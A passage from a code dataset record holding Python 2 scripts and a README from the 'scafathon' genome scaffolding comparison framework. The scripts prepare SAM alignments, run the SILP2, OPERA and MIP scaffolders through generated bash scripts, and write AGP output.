open(ctg_agp, 'rb') as fin:\\n time_info = fin.readline().strip()\\n\\n # create an AGP.\\n fout = open(ctg_agp, \\\"wb\\\")\\n for lidx in range(len(lines)):\\n\\n # setup line.\\n line = lines[lidx]\\n\\n # check header.\\n if line[0] == \\\">\\\":\\n header = line.strip().replace(\\\">\\\",\\\"\\\").split()[0]\\n #header = line.strip().replace(\\\">\\\",\\\"\\\")\\n part = 1\\n scaf_start = 1\\n scaf_stop = 0\\n continue\\n\\n # tokenize.\\n tmp = line.strip().split()\\n\\n # get ctgid.\\n ctgid = tmp[0]\\n\\n if tmp[1] == \\\"BE\\\":\\n orien = \\\"+\\\"\\n else:\\n orien = \\\"-\\\"\\n\\n ctglen = int(tmp[2])\\n gaplen = int(tmp[3])\\n\\n # make indexs.\\n scaf_stop = scaf_start + ctglen\\n\\n # write out AGP.\\n fout.write(\\\"%s\\\\t%i\\\\t%i\\\\t%i\\\\t%s\\\\t%s\\\\t%i\\\\t%i\\\\t%s\\\\n\\\" % \\\\\\n (header, scaf_start, scaf_stop, part, \\\"W\\\", ctgid, 1, ctglen, orien))\\n #print \\\"write\\\"\\n # increment pointers.\\n scaf_start = scaf_stop + 1\\n part += 1\\n\\n # add gap if size is not 0\\n if gaplen != 0:\\n\\n # make indexs.\\n scaf_stop = scaf_start + gaplen\\n\\n # add gap.\\n fout.write(\\\"%s\\\\t%i\\\\t%i\\\\t%i\\\\t%s\\\\t%i\\\\t%s\\\\t%s\\\\n\\\" % \\\\\\n (header, scaf_start, scaf_stop, part, \\\"N\\\", gaplen, \\\"fragment\\\", \\\"no\\\"))\\n #print \\\"write\\\"\\n # increment pointers.\\n scaf_start = scaf_stop + 1\\n part += 1\\n\\n # otherwise.\\n else:\\n # check if we can peak.\\n if lidx+1 >= len(lines):\\n continue\\n\\n\\n # check if new scaffold.\\n if lines[lidx+1][0] != \\\">\\\":\\n # make fake gap.\\n scaf_stop = scaf_start + 10\\n\\n # add gap.\\n fout.write(\\\"%s\\\\t%i\\\\t%i\\\\t%i\\\\t%s\\\\t%i\\\\t%s\\\\t%s\\\\n\\\" % \\\\\\n (header, scaf_start, scaf_stop, part, \\\"N\\\", gaplen, \\\"fragment\\\", \\\"no\\\"))\\n #print \\\"write\\\"\\n # increment pointers.\\n scaf_start = scaf_stop + 1\\n part += 1\\n continue\\n\\n # write the timer.\\n fout.write(time_info + '\\\\n')\\n\\n # close AGP file.\\n fout.close()\\n\\n # move the output files to standard locations.\\n subprocess.call(['cp', tscf_file, scf_fasta])\\n\\n\\ndef run_mip(work_dir, ant_dir, run_sh, ctg_fasta, scf_fasta, ctg_agp, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\\n \\n # simplify files.\\n ant_dir = '/dev/null'\\n\\n contig_file = ctg_fasta\\n test1 = read1_sam\\n test2 = read2_sam\\n \\n # mip specific files.\\n SAM_1_MOD = \\\"%s/sam_1.sam\\\" % work_dir\\n SAM_2_MOD = \\\"%s/sam_2.sam\\\" % work_dir\\n MERGED_FILE = \\\"%s/merged\\\" % work_dir\\n MERGED1_FILE = \\\"%s/merged.sorted1\\\" % work_dir\\n MERGED2_FILE = \\\"%s/merged.sorted2\\\" % work_dir\\n FILTERED_FILE = \\\"%s/filtered.txt\\\" % work_dir\\n COV_FILE = \\\"%s/coverage.txt\\\" % work_dir\\n PARAM_FILE = \\\"%s/parameters.txt\\\" % work_dir\\n MIP_FILE = \\\"%s/scaffolds2.txt\\\" % work_dir\\n OUT_FILE = \\\"%s/scaffolds.fasta\\\" % work_dir\\n\\n \\n # execute mip.\\n tstart = time.time()\\n cmd = list()\\n cmd.append(\\\"/opt/mip/scripts/mip-scaffolder.pl\\\")\\n cmd.append(PARAM_FILE)\\n cmd.append(contig_file)\\n cmd.append(COV_FILE)\\n cmd.append(work_dir)\\n \\n with open(run_sh, \\\"wb\\\") as fout:\\n fout.write('#!/bin/bash\\\\n')\\n fout.write(' '.join(cmd) + '\\\\n')\\n \\n subprocess.call([\\\"chmod\\\", \\\"u+x\\\", run_sh])\\n if subprocess.call([run_sh], cwd=work_dir) != 0:\\n logging.warning(\\\"couldn't run mip\\\")\\n sys.exit(1)\\n tstop = time.time()\\n \\n # compute time.\\n trun = tstop - tstart\\n \\n # load MIP results into dictionary.\\n fin = open(MIP_FILE, \\\"rb\\\")\\n lines = fin.readlines()\\n fin.close()\\n mip = {}\\n for line in lines:\\n \\n # tokenize.\\n tmp = line.split()\\n \\n # set current scaffold.\\n if tmp[0].count(\\\"scaffold\\\") > 0:\\n # set current.\\n curs = tmp[0]\\n \\n # set default.\\n mip[curs] = []\\n continue\\n \\n # append.\\n mip[curs].append(tmp)\\n \\n # count the number of rows for agp file.\\n size = 0\\n for scafid in mip:\\n size += len(mip[scafid]) + len(mip[scafid]) - 1\\n\\n # allocate the array.\\n agps = np.zeros(size, dtype=agp_dt)\\n\\n # begin copying data.\\n idx = 0\\n for scafid in mip:\\n scaf_start = 1\\n scaf_idx = 1\\n for i in range(len(mip[scafid])):\\n \\n # tokenize.\\n entry = mip[scafid][i]\\n ctg_name = entry[1]\\n if entry[2] == \\\"F\\\":\\n orien = 0\\n else:\\n orien = 1\\n start = int(entry[3])\\n stop = int(entry[4])\\n \\n # add to agp.\\n agps[idx]['scaf_name'] = scafid\\n agps[idx]['scaf_start'] = scaf_start\\n agps[idx]['scaf_stop'] = scaf_start + abs(stop - start)\\n agps[idx]['scaf_idx'] = scaf_idx\\n agps[idx]['comp_type'] = \\\"W\\\"\\n agps[idx]['comp_name'] = ctg_name\\n agps[idx]['comp_start'] = 1\\n agps[idx]['comp_stop'] = abs(stop - start)\\n agps[idx]['comp_orien'] = orien\\n agps[idx]['comp_linkage'] = 0\\n\\n # move up counts.\\n scaf_start = agps[idx]['scaf_stop'] + 1\\n scaf_idx += 1\\n idx += 1\\n \\n # do gap.\\n if entry[1] != mip[scafid][-1][1]:\\n \\n # add gap.\\n agps[idx]['scaf_name'] = scafid\\n agps[idx]['scaf_start'] = scaf_start\\n agps[idx]['scaf_stop'] = int(mip[scafid][i+1][3]) - 1\\n agps[idx]['scaf_idx'] = scaf_idx\\n agps[idx]['comp_type'] = \\\"N\\\"\\n agps[idx]['comp_name'] = \\\"fragment\\\"\\n agps[idx]['comp_start'] = 1\\n agps[idx]['comp_stop'] = abs(agps[idx]['scaf_stop'] - agps[idx]['scaf_start'])\\n agps[idx]['comp_orien'] = 0\\n agps[idx]['comp_linkage'] = 0 \\n \\n # move up counts.\\n scaf_start = int(mip[scafid][i+1][3])\\n scaf_idx += 1\\n idx += 1\\n\\n # copy results.\\n subprocess.call(['cp', OUT_FILE, scf_fasta])\\n\\n # save the agp.\\n save_agps(ctg_agp, agps)\\n\\n # add time.\\n with open(ctg_agp, 'rb') as fin:\\n lines = fin.read()\\n lines += 'RUNTIME: %.2f' % trun\\n with open(ctg_agp, 'wb') as fout:\\n fout.write(lines)\\n \\n # move the results.\\n\"\n },\n {\n \"alpha_fraction\": 0.5634479522705078,\n \"alphanum_fraction\": 0.5879085659980774,\n \"avg_line_length\": 28.347963333129883,\n \"blob_id\": \"23fb19e71a1584efb496e8b0dceba6961f3c1cfb\",\n \"content_id\": \"825f69eff1e75df7cb3760926609f855d9f39086\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 9362,\n \"license_type\": \"permissive\",\n \"max_line_length\": 167,\n \"num_lines\": 319,\n \"path\": \"/utils/prep.py\",\n \"repo_name\": \"jim-bo/scafathon\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"'''\\ndrivers to prepare the data for scaffolding\\n'''\\nimport sys\\nimport logging\\nimport string\\nimport subprocess\\nimport os\\n\\nfrom utils.misc import *\\n\\n## private functions ##\\n\\n## public functions ##\\ndef prep_silp(work_dir, ant_dir, prep_sh, ctg_fasta, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\\n \\\"\\\"\\\" SILP scaffolder \\\"\\\"\\\"\\n\\n # create command base.\\n cmd_base = ['python', '/home/jrl03001/code/SILP2/silp.py']\\n\\n # preprocess.\\n job = list()\\n job.append('#!/bin/bash')\\n job.append('# preprocess')\\n job.append('%s nodes -w %s -c %s' % (' '.join(cmd_base), work_dir, ctg_fasta))\\n job.append('%s edges -w %s -i %i -s %i -%s -s1 %s -s2 %s' %\\n (' '.join(cmd_base), work_dir, ins_size, std_dev, pair_mode, read1_sam, read2_sam))\\n job.append('%s bundles -w %s -b %i -p 90 -bup 1 -r %s -i %i -s %i' % (' '.join(cmd_base), work_dir, bundle_size, ant_dir, ins_size, std_dev))\\n job.append('%s decompose -w %s -m 2500' % (' '.join(cmd_base), work_dir))\\n job.append('')\\n runit(job, prep_sh)\\n\\ndef prep_opera(work_dir, ant_dir, prep_sh, ctg_fasta, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\\n \\\"\\\"\\\" opera scaffolder \\\"\\\"\\\"\\n\\n # opera specific directories.\\n input_dir = '%s/input' % work_dir\\n results_dir = '%s/results' % work_dir\\n script_dir = '%s/script' % work_dir\\n output_dir = '%s/output' % work_dir\\n log_dir = '%s/log' % work_dir\\n for x in [input_dir, results_dir, script_dir, output_dir, log_dir]:\\n create_dir(x)\\n\\n # opera sepecific files.\\n edge_file = '%s/opera_raw.txt' % input_dir\\n config_file = '%s/opera.cfg' % input_dir\\n script_file = '%s/opera.sh' % input_dir\\n tout_file = '%s/scaffolds.scaf' % results_dir\\n log_file = '%s/opera.log' % log_dir\\n\\n # open pair of sam files.\\n fin1 = open(read1_sam, \\\"rb\\\")\\n fin2 = open(read2_sam, \\\"rb\\\")\\n fout = open(edge_file, 'wb')\\n\\n # create the edge file from paired sam.\\n idx = 1\\n for line1 in fin1:\\n line2 = fin2.readline()\\n\\n # skip headers.\\n if line1[0] == \\\"@\\\" or line2[0] == \\\"@\\\":\\n continue\\n\\n # tokenize.\\n tokens1 = line1.strip().split(\\\"\\\\t\\\")\\n tokens2 = line2.strip().split(\\\"\\\\t\\\")\\n\\n # get data.\\n rname1 = tokens1[2]\\n rname2 = tokens2[2]\\n\\n qname1 = tokens1[0]\\n qname2 = tokens2[0]\\n\\n pos1 = int(tokens1[3])\\n pos2 = int(tokens2[3])\\n\\n szseq1 = len(tokens1[9])\\n szseq2 = len(tokens2[9])\\n\\n seq1 = tokens1[9]\\n seq2 = tokens2[9]\\n\\n # prepare orientation.\\n if tokens1[1] == \\\"0\\\":\\n orien1 = \\\"+\\\"\\n else:\\n orien1 = \\\"-\\\"\\n if tokens2[1] == \\\"0\\\":\\n orien2 = \\\"+\\\"\\n else:\\n orien2 = \\\"-\\\"\\n\\n # save names.\\n nm1 = \\\"%i.1\\\" % idx\\n nm2 = \\\"%i.2\\\" % idx\\n idx += 1\\n\\n # create txt.\\n line1 = \\\"%s\\\\t%s\\\\t%s\\\\t%i\\\\t%s\\\\t%s\\\\t%s\\\\n\\\" % (nm1, orien1, rname1, pos1, tokens1[9], tokens1[10], \\\"0\\\")\\n line2 = \\\"%s\\\\t%s\\\\t%s\\\\t%i\\\\t%s\\\\t%s\\\\t%s\\\\n\\\" % (nm2, orien2, rname2, pos2, tokens2[9], tokens2[10], \\\"0\\\")\\n\\n # write to file.\\n fout.write(line1)\\n fout.write(line2)\\n\\n # close up shop.\\n fin1.close()\\n fin2.close()\\n fout.close()\\n\\n # prepare config script\\n txt = \\\"\\\"\\\"#\\n# Essential Parameters\\n#\\n\\n# Please always supply absolute path of each file,\\n# Because relative path may not work all the time.\\n\\n# Output folder for final results\\noutput_folder=${opera_results_dir}\\n\\n# Contig file\\ncontig_file=${opera_node_file}\\n\\n#----------------------------------------------------------------------------------------------\\n# Advanced Parameters\\n\\n#\\n# Scaffolding related parameters\\n#\\n\\n# Scaffold name in result file\\nscaffold_name=scaffold\\n\\n# PET cluster threshold (default=5) (Opera will discard all clusters\\n\\n# Should Opera abort when running time for specific subgraph is longer\\n# than 30 minutes (true or false, default=true)\\nabort=false\\n\\n#----------------------------------------------------------------------------------------------\\n#\\n# Contig file related parameters\\n#\\n\\n# Format of contig file (fasta or statistic, default=fasta)\\nfile_format=fasta\\n\\n# Program name generating contig file (velvet or soap, default=velvet)\\nfile_type=velvet\\n\\n# Should the repeat contigs be filtered (yes or no, default=true)\\nfilter_repeat=yes\\n\\n# Repeat threshold (default=1.5): If the coverage of a contig is higher than\\n# (repeat threshold * average coverage), then it is considered as repeat\\nrepeat_threshold=1.5\\n\\n# Contig size threshold (default=500): Opera will not use the contigs whose length\\n# is shorter than this value\\ncontig_size_threshold=10\\n\\n#----------------------------------------------------------------------------------------------\\n#\\n# Library parameters.\\n#\\n\\n[LIB]\\ncalculate_ori=no\\nread_ori=in\\nmap_type=bowtie\\ncalculate_lib=no\\nlib_mean=${lib_mean}\\nlib_std=${lib_std}\\ncluster_threshold=${pet_size}\\nmap_file=${opera_edge_file}\\n\\\"\\\"\\\"\\n txt = string.Template(txt)\\n txt = txt.substitute(opera_results_dir=results_dir, opera_node_file=ctg_fasta, opera_edge_file=edge_file, pet_size=bundle_size, lib_mean=ins_size, lib_std=std_dev)\\n\\n # write to file.\\n fout = open(config_file, \\\"wb\\\")\\n fout.write(txt)\\n fout.close()\\n\\n\\ndef prep_mip(work_dir, ant_dir, prep_sh, ctg_fasta, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\\n \\\"\\\"\\\" mip scaffolder \\\"\\\"\\\"\\n\\n # simplify files.\\n ant_dir = '/dev/null'\\n pre_sh = prep_sh\\n\\n contig_file = ctg_fasta\\n test1 = read1_sam\\n test2 = read2_sam\\n \\n # sanity.\\n if os.path.isfile(test1) == False or os.path.isfile(test2) == False:\\n logging.error(\\\"missing file:\\\")\\n logging.error(test1)\\n logging.error(test2)\\n \\n # mip specific files.\\n SAM_1_MOD = \\\"%s/sam_1.sam\\\" % work_dir\\n SAM_2_MOD = \\\"%s/sam_2.sam\\\" % work_dir\\n MERGED_FILE = \\\"%s/merged\\\" % work_dir\\n MERGED1_FILE = \\\"%s/merged.sorted1\\\" % work_dir\\n MERGED2_FILE = \\\"%s/merged.sorted2\\\" % work_dir\\n FILTERED_FILE = \\\"%s/filtered.txt\\\" % work_dir\\n COV_FILE = \\\"%s/coverage.txt\\\" % work_dir\\n PARAM_FILE = \\\"%s/parameters.txt\\\" % work_dir\\n MIP_FILE = \\\"%s/scaffolds2.txt\\\" % work_dir\\n\\n # modify SAM file to be happy with MIP.\\n fin1 = open(test1, \\\"rb\\\")\\n fin2 = open(test2, \\\"rb\\\")\\n fout1 = open(SAM_1_MOD, \\\"wb\\\")\\n fout2 = open(SAM_2_MOD, \\\"wb\\\")\\n for line1 in fin1:\\n line2 = fin2.readline()\\n \\n # tokenize.\\n tokens1 = line1.strip().split(\\\"\\\\t\\\")\\n tokens2 = line2.strip().split(\\\"\\\\t\\\")\\n \\n # change naming convention.\\n tokens1[0] = tokens1[0].replace(\\\"/1\\\",\\\"_R3\\\")\\n tokens2[0] = tokens2[0].replace(\\\"/2\\\",\\\"_F3\\\")\\n \\n # modify orientation.\\n if pair_mode == 'rf':\\n if tokens1[1] == \\\"0\\\":\\n tokens1[1] = \\\"16\\\"\\n else:\\n tokens1[1] = \\\"0\\\"\\n else:\\n print pair_mode\\n logging.error('un-written')\\n sys.exit(1)\\n \\n \\n # write it back out.\\n fout1.write('\\\\t'.join(tokens1) + '\\\\n')\\n fout2.write('\\\\t'.join(tokens2) + '\\\\n')\\n\\n fin1.close() \\n fin2.close() \\n fout1.close() \\n fout2.close() \\n\\n PROG_1 = \\\"/opt/mip/scripts/merge.sh\\\"\\n PROG_2 = \\\"/opt/mip/scripts/filter-mappings.sh\\\"\\n PROG_3 = \\\"/home/jrl03001/code/ScafValidate/mip/contig_coverage.py\\\"\\n #'''\\n # merge data.\\n with open(pre_sh, 'wb') as fout:\\n \\n # prepare.\\n fout.write('#!/bin/bash\\\\n')\\n cmd = [PROG_1, SAM_2_MOD, SAM_1_MOD, MERGED_FILE]\\n fout.write(' '.join(cmd) + '\\\\n')\\n cmd = [PROG_2, MERGED1_FILE, MERGED2_FILE, FILTERED_FILE]\\n fout.write(' '.join(cmd) + '\\\\n')\\n cmd = [\\\"python\\\", PROG_3, contig_file, COV_FILE, SAM_1_MOD, SAM_2_MOD]\\n fout.write(' '.join(cmd) + '\\\\n')\\n \\n # run it.\\n subprocess.call([\\\"chmod\\\", \\\"u+x\\\", pre_sh])\\n if subprocess.call([pre_sh], cwd=work_dir) != 0:\\n logging.error(\\\"couldn't prepare MIP\\\")\\n sys.exit(1)\\n\\n #'''\\n # write the config.\\n txt = '''# Upper bound for genome length (required)\\ngenome_length=5000000000\\n\\n#parameter specifications for the first stage\\n[STAGE]\\n# Maximum biconnected component size. (optional)\\n#maximum_biconnected_component=50\\n# Maximum allowed degree in scaffolding graph. (optional)\\nmaximum_degree=50\\n# Maximum coverage for nonrepetitive contig. (optional)\\n#maximum_coverage=100\\n# The maximum overlap between contigs that is allowed without checking for\\n# sequence similarity. By default this is set based on the variablility in\\n# insert size lengths of each library. (optional)\\n#maximum_overlap=100\\n# The minimum support for an edge. (optional)\\nminimum_support=%i\\n# Should edges with negative estimated distance be checked for sequence\\n# similarity or removed automatically? (optional)\\ncheck_negative_edges=1\\n\\n# library specification for the first stage\\n[LIBRARY]\\n# File in SAM format containing mappings for the mate pair reads\\n# to the contigs\\nmappings=%s\\n# Orientation of the mate pairs (in current version must be SOLID)\\norientation=SOLID\\n# Insert length\\ninsert_length=%i\\n# Minimum insert length\\nmin_insert_length=%i\\n# Maximum insert length\\nmax_insert_length=%i\\n''' % (bundle_size, FILTERED_FILE, ins_size, (ins_size - (3*std_dev)), (ins_size + (3*std_dev)))\\n\\n \\n # write to file.\\n fout = open(PARAM_FILE, \\\"wb\\\")\\n fout.write(txt)\\n fout.close()\\n\"\n },\n {\n \"alpha_fraction\": 0.7733333110809326,\n \"alphanum_fraction\": 0.7787878513336182,\n \"avg_line_length\": 48.93939208984375,\n \"blob_id\": \"e3a5c0f43aac28f5cb51851c0920604634639204\",\n \"content_id\": \"14d1bf9b18bb635859d30bb1b62a69d27e2d9e97\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1650,\n \"license_type\": \"permissive\",\n \"max_line_length\": 233,\n \"num_lines\": 33,\n \"path\": \"/README.md\",\n \"repo_name\": \"jim-bo/scafathon\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"scafathon\\n=========\\n\\n**Genome scaffolding comparison framework**\\n\\n\\n## Overview\\nScafathon is just a collection of scripts used to evaluate three genome scaffolding tools; SILP2, OPERA and MIP. It should be easy to extend this framework to add more tools. It relies on Quast for alignment based accuracy assesment.\\n\\n***Warning: This code is only intended for use by professionals. Modification of the source code is required to set proper paths to external executables. Furthermore adding additional scaffolding tools requires manual coding.***\\n\\n## Usage\\nThe tool is divided up into several sub-programs which need to be run in-order. Use the \\\"-h\\\" argument after each of the following sub-commands for a description of their usage.\\n```python\\npython silp.py [sub-command] -h\\n```\\n1. *align:* aligns the paired reads (required bowtie2) installed\\n2. *pair:* pairs two existing SAM files\\n3. *meta_combine:* combines two pairs of SAM files at different percentages [metagenomic simulations]\\n4. *prep:* prepares selected scaffold algorithm by running all preprocessing code\\n5. *run:* runs scaffolding tool\\n6. *sim_eval:* evaluates scaffold if there exists a reference AGP with locations of each contig\\n7. *real_eval:* uses alignment based accuracy metrics\\n\\n## Installation\\nThis is primarily a python program, it relies on several python packages:\\n* numpy\\n* networkx\\n\\nAlso several seperate packages are required. These include nucmer, quast and [parabio](https://github.com/jim-bo/parabio).\\n\\n## Disclaimer\\nThis is a research tool written in a research enviroment. No support is offered and bugs may be present. Only one library size is support at this time. \\n\\n\"\n },\n {\n \"alpha_fraction\": 0.4289953410625458,\n \"alphanum_fraction\": 0.4340822398662567,\n \"avg_line_length\": 25.505617141723633,\n \"blob_id\": \"b981c7a67de36752d838201660e7edad35900281\",\n \"content_id\": \"fd5e0fa3b08a8602cfa93f7b9fc56904188bc8a3\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2359,\n \"license_type\": \"permissive\",\n \"max_line_length\": 67,\n \"num_lines\": 89,\n \"path\": \"/utils/misc.py\",\n \"repo_name\": \"jim-bo/scafathon\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import subprocess\\nimport os\\nimport numpy as np\\n\\nagp_dt = np.dtype([\\\\\\n ('scaf_name', 'S255'),\\\\\\n ('scaf_start', np.long),\\\\\\n ('scaf_stop', np.long),\\\\\\n ('scaf_idx', np.long),\\\\\\n ('comp_type', 'S50'),\\\\\\n ('comp_name', 'S255'),\\\\\\n ('comp_start', np.long),\\\\\\n ('comp_stop', np.long),\\\\\\n ('comp_orien', np.long),\\\\\\n ('comp_linkage', np.long),\\\\\\n])\\n\\n\\ndef runit(job, path):\\n \\\"\\\"\\\" runs the job \\\"\\\"\\\"\\n with open(path, 'wb') as fout:\\n fout.write('\\\\n'.join(job))\\n subprocess.call(['chmod', 'a+x', path])\\n subprocess.call(['bash', path])\\n\\ndef create_dir(dir_path):\\n ''' creates directory if necessary'''\\n if os.path.isdir(dir_path) == False:\\n if subprocess.call([\\\"mkdir\\\", dir_path]) != 0:\\n logging.error(\\\"couldn't make dir\\\")\\n sys.exit(1)\\n\\n\\n\\ndef save_agps(agp_file, agp):\\n ''' saves agp to disk.'''\\n\\n # write to file.\\n fout = open(agp_file, \\\"w\\\")\\n\\n # write each entry.\\n z = len(agp_dt.names)\\n for i in range(agp.size):\\n\\n # sanity skip.\\n if agp[i]['scaf_name'] == \\\"\\\":\\n continue\\n\\n # format result.\\n tmp = agp[i]\\n if tmp['comp_type'] == \\\"W\\\":\\n # get orientation.\\n if tmp[\\\"comp_orien\\\"] == 0:\\n o = \\\"+\\\"\\n else:\\n o = \\\"-\\\"\\n\\n # write contig.\\n txt = str(tmp['scaf_name']) + \\\"\\\\t\\\"\\n txt += str(tmp['scaf_start']) + \\\"\\\\t\\\"\\n txt += str(tmp['scaf_stop']) + \\\"\\\\t\\\"\\n txt += str(tmp['scaf_idx']) + \\\"\\\\t\\\"\\n txt += str(tmp['comp_type']) + \\\"\\\\t\\\"\\n txt += str(tmp['comp_name']) + \\\"\\\\t\\\"\\n txt += str(tmp['comp_start']) + \\\"\\\\t\\\"\\n txt += str(tmp['comp_stop']) + \\\"\\\\t\\\"\\n txt += o + \\\"\\\\n\\\"\\n\\n else:\\n # get linkage.\\n if tmp['comp_linkage'] == 0:\\n o = \\\"no\\\"\\n else:\\n o = \\\"yes\\\"\\n\\n # write gap.\\n txt = str(tmp['scaf_name']) + \\\"\\\\t\\\"\\n txt += str(tmp['scaf_start']) + \\\"\\\\t\\\"\\n txt += str(tmp['scaf_stop']) + \\\"\\\\t\\\"\\n txt += str(tmp['scaf_idx']) + \\\"\\\\t\\\"\\n txt += str(tmp['comp_type']) + \\\"\\\\t\\\"\\n txt += str(tmp['comp_stop'] - tmp['comp_start']) + \\\"\\\\t\\\"\\n txt += str(tmp['comp_name']) + \\\"\\\\t\\\"\\n txt += o + \\\"\\\\n\\\"\\n\\n fout.write(txt)\\n\\n # close file.\\n fout.close()\\n\"\n },\n {\n \"alpha_fraction\": 0.5159717202186584,\n \"alphanum_fraction\": 0.5442575216293335,\n \"avg_line_length\": 23.1235294342041,\n \"blob_id\": \"b480607bf84c02ee5083aaa1ddb0970b00cae73c\",\n \"content_id\": \"d0f3285b47682ee4eb2c1e9f9ed79e596c539994\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8202,\n \"license_type\": \"permissive\",\n \"max_line_length\": 105,\n \"num_lines\": 340,\n \"path\": \"/utils/align.py\",\n \"repo_name\": \"jim-bo/scafathon\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"'''\\nalignment utility functions\\n'''\\nimport os\\nimport sys\\nimport subprocess\\nimport logging\\nimport mmap\\nfrom operator import itemgetter\\nimport numpy as np\\n\\n## public functions ##\\ndef create_idx(asm_fasta, index_file):\\n \\\"\\\"\\\" make bowtie2 index\\n Parameters:\\n -----------\\n asm_fasta : str\\n index_file : str\\n \\\"\\\"\\\"\\n\\n # run the command.\\n subprocess.call(['bowtie2-build', '-f', asm_fasta, index_file])\\n\\ndef create_aln(size_file, index_file, fastq_file, sam_file, ant_dir, num_cpu):\\n \\\"\\\"\\\" make bowtie2 alignment and\\n pull out multimappers/\\n Parameters:\\n -----------\\n index_file : str\\n fastq_file : str\\n \\\"\\\"\\\"\\n\\n # create sizes.\\n sizes = dict()\\n with open(size_file, \\\"rb\\\") as fin:\\n lines = fin.readlines()\\n for line in lines:\\n sz, name = line.strip().split()\\n sz = int(sz)\\n sizes[name] = sz\\n\\n # create the annotation arrays.\\n annotes = dict()\\n for ref in sizes:\\n annotes[ref] = np.zeros(sizes[ref], dtype=np.int)\\n\\n # create alignment command.\\n cmd = ['bowtie2','--reorder', '-k', '10', '-q','-p',str(num_cpu), '-x', index_file, '-U', fastq_file]\\n\\n # call the command and pipe output.\\n output = subprocess.Popen(cmd, stdout=subprocess.PIPE)\\n\\n # open single-sam file.\\n sam_out = open(sam_file, \\\"wb\\\")\\n\\n # loop over each alignment.\\n for status, line in _extract_sam(output):\\n\\n # dump good ones.\\n if status == True:\\n sam_out.write(line)\\n continue\\n\\n # record location of baduns.\\n tokens = line.strip().split()\\n start = int(tokens[3])\\n stop = start + len(tokens[9])\\n rname = tokens[2]\\n\\n # annotate that.\\n annotes[rname][start:stop] += 1\\n\\n # close output.\\n sam_out.close()\\n\\n # serialize multimap.\\n for ref in annotes:\\n\\n # create name.\\n fname = '%s/%s.npy' % (ant_dir, ref)\\n\\n # look for existing.\\n if os.path.isfile(fname):\\n tmp = np.load(fname)\\n annotes[ref] = annotes[ref] + tmp\\n\\n # serialize it.\\n np.save(fname, annotes[ref])\\n\\ndef pair_sam(sam_in_1, sam_in_2, sam_out_1, sam_out_2, key_size):\\n \\\"\\\"\\\" pairs SAM files \\\"\\\"\\\"\\n\\n # memory map the SAM files1.\\n fin1 = open(sam_in_1, \\\"r+\\\")\\n fin2 = open(sam_in_2, \\\"r+\\\")\\n\\n map1 = mmap.mmap(fin1.fileno(), 0, access=mmap.ACCESS_COPY)\\n map2 = mmap.mmap(fin2.fileno(), 0, access=mmap.ACCESS_COPY)\\n\\n # create lists from data.\\n hitlist1 = list()\\n hitlist2 = list()\\n for p1, p2 in _sam_gen(map1, map2, key_size):\\n hitlist1.append(p1)\\n hitlist2.append(p2)\\n\\n # seek files bake to begining.\\n map1.seek(0)\\n map2.seek(0)\\n\\n # sort lists by name, reverse so we can pop from end.\\n hitlist1.sort(key=itemgetter(1), reverse=True)\\n hitlist2.sort(key=itemgetter(1), reverse=True)\\n\\n # open output files.\\n fout1 = open(sam_out_1, \\\"wb\\\")\\n fout2 = open(sam_out_2, \\\"wb\\\")\\n\\n # generator of pairs.\\n for p1, p2 in _pair_gen(hitlist1, hitlist2):\\n\\n # load sam info from map.\\n map1.seek(p1[0])\\n map2.seek(p2[0])\\n\\n # write out info.\\n fout1.write(map1.readline())\\n fout2.write(map2.readline())\\n\\n # close output files.\\n fout1.close()\\n fout2.close()\\n\\n # close memmory mapped files.\\n map1.close()\\n map2.close()\\n\\n fin1.close()\\n fin2.close()\\n\\n\\ndef pair_sam2(sam_in_1, sam_in_2, sam_out_1, sam_out_2, key_size):\\n \\\"\\\"\\\" pairs SAM files \\\"\\\"\\\"\\n\\n # memory map the first SAM file.\\n logging.info(\\\"opening memory map files\\\")\\n\\n # build name arrays.\\n logging.info(\\\"extracting name array 1\\\")\\n id1 = _extract_names(sam_in_1, key_size)\\n logging.info(\\\"extracting name array 2\\\")\\n id2 = _extract_names(sam_in_2, key_size)\\n\\n # sort the names and copy.\\n logging.info(\\\"sorting name array 1\\\")\\n srt1 = np.sort(id1[:]['name'])\\n logging.info(\\\"sorting name array 2\\\")\\n srt2 = np.sort(id2[:]['name'])\\n\\n # compute unique in each pair.\\n logging.info(\\\"unique 1\\\")\\n uq1 = _numpy_unique(srt1)\\n logging.info(\\\"unique 2\\\")\\n uq2 = _numpy_unique(srt2)\\n\\n # compute the intersection of unique.\\n logging.info(\\\"intersection\\\")\\n valid_list = np.intersect1d(uq1, uq2, assume_unique=True)\\n\\n # sanity check.\\n assert len(valid_list) != 0, 'cant have no valid stuff'\\n\\n # create a set.\\n logging.info(\\\"set\\\")\\n valid = set(list(valid_list))\\n\\n # write the entries.\\n logging.info(\\\"writing\\\")\\n _write_valid(sam_in_1, id1, valid, sam_out_1)\\n _write_valid(sam_in_2, id2, valid, sam_out_2)\\n logging.info(\\\"done\\\")\\n\\n\\n## internal functions ##\\n\\ndef _write_valid(sam_in_1, id1, valid, sam_out_1):\\n \\\"\\\"\\\" writes entries from valid set\\\"\\\"\\\"\\n\\n # open output.\\n fout1 = open(sam_out_1, \\\"wb\\\")\\n fin1 = open(sam_in_1, \\\"rb\\\")\\n\\n # generator of pairs.\\n idx = 0\\n for line in fin1:\\n\\n # operate.\\n if id1[idx]['name'] in valid:\\n fout1.write(line)\\n\\n # udpate\\n idx += 1\\n\\n # close em.\\n fout1.close()\\n fin1.close()\\n\\ndef _numpy_unique(srt1):\\n \\\"\\\"\\\" return unique subset\\\"\\\"\\\"\\n\\n # create mask.\\n good = np.zeros(srt1.shape[0], dtype=np.bool)\\n good[:] = False\\n\\n # 